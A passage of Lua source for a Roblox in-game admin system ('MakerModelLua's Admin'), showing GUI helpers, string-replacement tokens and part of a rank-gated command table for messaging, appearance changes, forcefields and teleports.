5158 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5159 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5160 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5161 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5162 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5163
5164 local CurrentSeconds = AllSeconds
5165 local Alive = true
5166 coroutine.wrap(function() for i = 0,AllSeconds do
5167 if not Alive then break end
5168 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5169 local Minutes = tostring(math.floor(CurrentSeconds/60))
5170 if #Seconds == 1 then Seconds = "0"..Seconds end
5171 if #Minutes == 1 then Minutes = "0"..Minutes end
5172 Time.Text = Minutes..":"..Seconds
5173 wait(1)
5174 if CurrentSeconds <= 0 then
5175 Alarm:Play()
5176 Time.Text = "00:00"
5177 Part.Size = UDim2.new(1,0,1,0)
5178 Restore:Invoke()
5179 wait(4)
5180 Close:Invoke()
5181 break
5182 else
5183 Tick:Play()
5184 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5185 CurrentSeconds = CurrentSeconds - 1
5186 end
5187 end end)()
5188
5189 Closed.Event:connect(function()
5190 if Alive == true then
5191 Alive = false
5192 Tick:Stop()
5193 Alarm:Stop()
5194 end
5195 end)
5196end)() end
5197
5198function GUI:DetachChat(Player)
5199 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5200 if Player:FindFirstChild("DetachChatMML") then
5201 Player.DetachChatMML:Invoke(true)
5202 wait()
5203 Player.DetachChatMML:Destroy()
5204 end
5205
5206 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5207 local SG = Frame.Parent.Parent.Parent
5208
5209 local DCBF = Instance.new("BindableFunction", Player)
5210 DCBF.Name = "DetachChatMML"
5211 DCBF.OnInvoke = function(Remove)
5212 if Remove then
5213 SG:Destroy()
5214 end
5215 end
5216 CORE:ExecuteResource("CoreChat", SG)
5217
5218 local IsClosed = false
5219 Closed.Event:connect(function()
5220 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5221 IsClosed = true
5222 end)
5223
5224 coroutine.wrap(function()
5225 Player.CharacterRemoving:wait()
5226 if not IsClosed then
5227 IsClosed = true
5228 wait(1)
5229 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5230 end
5231 end)()
5232end
5233
5234function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5235 if not Player then return nil end
5236 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5237 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5238
5239 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5240end)() end
5241
5242function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5243 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5244 if not SoundID then SoundID = SoundInfo["ID"] end
5245 if not TitleText then TitleText = SoundInfo["Name"] end
5246 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5247 if not InputSound then InputSound = Sound end
5248
5249 local NumSounds = 0
5250 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5251 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5252 NumSounds = NumSounds + 1
5253 end
5254 end
5255
5256 local Size = UDim2.new(0.1, 100, 0.1, 100)
5257 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5258 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5259
5260 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5261 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5262 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5263 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5264 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5265 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5266 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5267
5268 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5269 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5270 if Sound then
5271 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5272 end
5273 if Time then
5274 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5275 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5276
5277 coroutine.wrap(function()
5278 local Alive = true
5279
5280 local function StopTimer() Alive = false end
5281 Closed.Event:connect(StopTimer)
5282 Minimized.Event:connect(StopTimer)
5283 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5284
5285 for i = Time,0,-1 do
5286 for ii = 1,10 do
5287 if Alive == true then
5288 Timer.Text = i
5289 wait(0.1)
5290 else
5291 break
5292 end
5293 end
5294 end
5295 if Alive == true then
5296 Close:Invoke()
5297 else
5298 Timer:Destroy()
5299 Stop:Destroy()
5300 end
5301 end)()
5302 end
5303end
5304
5305---- STRING REPLACEMENT OPERATIONS ----
5306
5307-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5308
5309-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5310
5311StringReplacements = {
5312 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5313 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5314 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5315 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5316 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5317 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5318 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5319 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5320 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5321 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5322
5323 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5324 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5325 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5326 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5327 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5328 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5329
5330 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5331 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5332 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5333 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5334 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5335 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5336 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5337 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5338 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5339 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5340 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5341 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5342 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5343 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5344 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5345 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5346}
5347
5348---- COMMANDS ----
5349
5350-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5351
5352Commands = { -- can't make local
5353 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5354 print("[MML's Admin]: Test message from "..Speaker.Name)
5355 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5356 end};
5357
5358 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5359 local Players = STRING:Scan(Arguments[1], Speaker)
5360 for _,Player in pairs(Players) do
5361 if Player.Character then
5362 Player.Character:BreakJoints()
5363 end
5364 end
5365 end};
5366
5367 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5368 local Players = STRING:Scan(Arguments[1], Speaker)
5369 for _,Player in pairs(Players) do
5370 if Player.Character then
5371 Instance.new("ForceField", Player.Character)
5372 end
5373 end
5374 end};
5375
5376 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5377 local Players = STRING:Scan(Arguments[1], Speaker)
5378 for _,Player in pairs(Players) do
5379 if Player.Character then
5380 for _,Get in pairs(Player.Character:GetChildren()) do
5381 if Get:IsA("ForceField") then
5382 Get:Destroy()
5383 end
5384 end
5385 end
5386 end
5387 end};
5388
5389 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5390 for _,Player in pairs(Server.Players:GetPlayers()) do
5391 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5392 end
5393 end};
5394
5395 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5396 for _,Player in pairs(Server.Players:GetPlayers()) do
5397 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5398 end
5399 end};
5400
5401 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5402 local Players = STRING:Scan(Arguments[1], Speaker)
5403 for _,Player in pairs(Players) do
5404 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5405 end
5406 end};
5407
5408 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5409 for _,Player in pairs(Server.Players:GetPlayers()) do
5410 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5411 end
5412 end};
5413
5414 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5415 local Players = STRING:Scan(Arguments[1], Speaker)
5416 for _,Player in pairs(Players) do
5417 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5418 end
5419 end};
5420
5421 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5422 local Players = STRING:Scan(Arguments[1], Speaker)
5423 local AgeList = {}
5424 for _,Player in pairs(Players) do
5425 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5426 end
5427 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5428 end};
5429
5430 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5431 local Players = STRING:Scan(Arguments[1], Speaker)
5432 local AgeList = {}
5433 for _,Player in pairs(Players) do
5434 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5435 end
5436 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5437 for _,Player in pairs(SecondPlayers) do
5438 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5439 end
5440 end};
5441
5442 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5443 local Storage = {{}, {}, {}, {}}
5444 local StorageText = {}
5445 local Formatted = {}
5446 for CommandNames,Data in pairs(Commands) do
5447 if not Data.Hidden then
5448 local RankNeeded = RANK:ConvertRank(Data[4])
5449 local Add = ""
5450 if Data[4] == "Non-Admin" then Add = "BLACK " end
5451 if Data[4] == "Admin" then Add = "CYAN " end
5452 if Data[4] == "Member" then Add = "BLUE " end
5453 if Data[4] == "Owner" then Add = "BROWN " end
5454 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5455 local AddBet = Settings.Bet
5456 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5457 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5458 table.insert(Storage[RankNeeded + 1], Add..Text)
5459 StorageText[Text] = CommandNames
5460 end
5461 end
5462 for Num,_ in pairs(Storage) do
5463 table.sort(Storage[Num])
5464 end
5465 for _,Table in pairs(Storage) do
5466 for _,Command in pairs(Table) do
5467 table.insert(Formatted, Command)
5468 end
5469 end
5470 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5471 Clicked.Event:connect(function(Text)
5472 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5473 end)
5474 end};
5475
5476 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5477 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5478 end};
5479
5480 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5481 if GUI:GetColor(Arguments[1]) then
5482 local ColorScheme = string.upper(Arguments[1])
5483 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5484 Settings.ColorScheme = ColorScheme
5485 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5486 else
5487 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5488 end
5489 end};
5490
5491 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5492 local List = {}
5493 for Color,_ in pairs(Colors) do
5494 table.insert(List, Color.." "..Color)
5495 end
5496 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5497 end};
5498
5499 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5500 local Transparency = tonumber(Arguments[1])
5501 if Transparency then
5502 if Transparency > 90 then Transparency = 90 end
5503 if Transparency < 10 then Transparency = 10 end
5504 Settings.TransparencyScheme = Transparency/100
5505
5506 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5507 else
5508 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5509 end
5510 end};
5511
5512 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5513 if Fonts[Arguments[1]] then
5514 Settings.Font = Arguments[1]
5515 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5516 end
5517 end};
5518
5519 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5520 Settings.Fun = not Settings.Fun
5521 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5522 end};
5523
5524 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5525 Settings.DisableAbuse = not Settings.DisableAbuse
5526 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5527 end};
5528
5529 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5530 local List = {}
5531 for Font,_ in pairs(Fonts) do
5532 if Font == Settings.Font then
5533 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5534 else
5535 table.insert(List, Font.." "..Font)
5536 end
5537 end
5538 GUI:ListGui(Speaker, "Font list", List, 44453197)
5539 end};
5540
5541 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5542 local SoundID = tonumber(Arguments[1])
5543 if SoundID then
5544 Settings.ExecuteNotificationSound = SoundID
5545
5546 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5547 else
5548 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5549 end
5550 end};
5551
5552 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5553 Settings.ExecuteNotificationSound = 0
5554 end};
5555
5556 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5557 local Players = STRING:Scan(Arguments[1], Speaker)
5558 for _,Player in pairs(Players) do
5559 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5560 end
5561 end};
5562
5563 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5564 local Players = STRING:Scan(Arguments[1], Speaker)
5565 for _,Player in pairs(Players) do
5566 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5567 end
5568 end};
5569
5570 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5571 local Players = STRING:Scan(Arguments[1], Speaker)
5572 for _,Player in pairs(Players) do
5573 coroutine.wrap(function()
5574 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5575 wait(1)
5576 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5577 end)()
5578 end
5579 end, Hidden = true};
5580
5581 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5582 local Players = STRING:Scan(Arguments[1], Speaker)
5583 for _,Player in pairs(Players) do
5584 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5585 end
5586 end};
5587
5588 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5589 local Players = STRING:Scan(Arguments[1], Speaker)
5590 for _,Player in pairs(Players) do
5591 CORE:ChangeName(Player, Arguments[2])
5592 end
5593 end};
5594
5595 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5596 local Players = STRING:Scan(Arguments[1], Speaker)
5597 for _,Player in pairs(Players) do
5598 if Player.Character then
5599 local Head = Player.Character:FindFirstChild("Label")
5600 if Head then Head:Destroy() end
5601 local Head = Player.Character:FindFirstChild("Head")
5602 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5603 end
5604 end
5605 end};
5606
5607 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5608 local Players = STRING:Scan(Arguments[1], Speaker)
5609 for _,Player in pairs(Players) do
5610 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5611 end
5612 end};
5613
5614 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5615 local Players = STRING:Scan(Arguments[1], Speaker)
5616 for _,Player in pairs(Players) do
5617 local _,RankNum = RANK:GetRank(Player)
5618 if RankNum <= RANK:ConvertRank(Rank) then
5619 Server.TS:Teleport(Arguments[2], Player)
5620 end
5621 end
5622 end};
5623
5624 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5625 local Players = STRING:Scan(Arguments[1], Speaker)
5626 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5627 if Suc then
5628 for _,Player in pairs(Players) do
5629 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5630 end
5631 else
5632 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5633 end
5634 end};
5635
5636 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5637 local Players = STRING:Scan(Arguments[1], Speaker)
5638 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5639 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5640 if Suc then
5641 for _,Player in pairs(Players) do
5642 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5643 end
5644 else
5645 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5646 end
5647 end)
5648 end};
5649
5650 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5651 local Players = STRING:Scan(Arguments[1], Speaker)
5652 for _,Player in pairs(Players) do
5653 local _,RankNum = RANK:GetRank(Player)
5654 if RankNum < RANK:ConvertRank(Rank) then
5655 Server.TS:Teleport(155307015, Player)
5656 end
5657 end
5658 end};
5659
5660 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5661 local Players = STRING:Scan(Arguments[1], Speaker)
5662 for _,Player in pairs(Players) do
5663 local _,RankNum = RANK:GetRank(Player)
5664 if RankNum < RANK:ConvertRank(Rank) then
5665 Server.TS:Teleport(347911447, Player)
5666 end
5667 end
5668 end};
5669
5670 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5671 local Players = STRING:Scan(Arguments[1], Speaker)
5672 for _,Player in pairs(Players) do
5673 CORE:GenerateShield(Player)
5674 end
5675 end};
5676
5677 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5678 local Players = STRING:Scan(Arguments[1], Speaker)
5679 for _,Player in pairs(Players) do
5680 if Player.Character then
5681 local Shield = Player.Character:FindFirstChild("Shield")
5682 if Shield then Shield:Destroy() end
5683 end
5684 end
5685 end};
5686
5687 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5688 local Num = tonumber(Arguments[1])
5689 if Num and Num ~= 0 then
5690 local Random = math.random(1,math.abs(Num))
5691 if Random == math.random(1,math.abs(Num)) then
5692 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5693 else
5694 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5695 end
5696 else
5697 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5698 end
5699 end};
5700
5701 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5702 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5703 IRC:AddChat(Speaker.Name, Arguments[1])
5704 end};
5705
5706 --[[
5707 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5708 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5709 if Res then
5710 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5711 end
5712 end, Http = true};
5713
5714 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
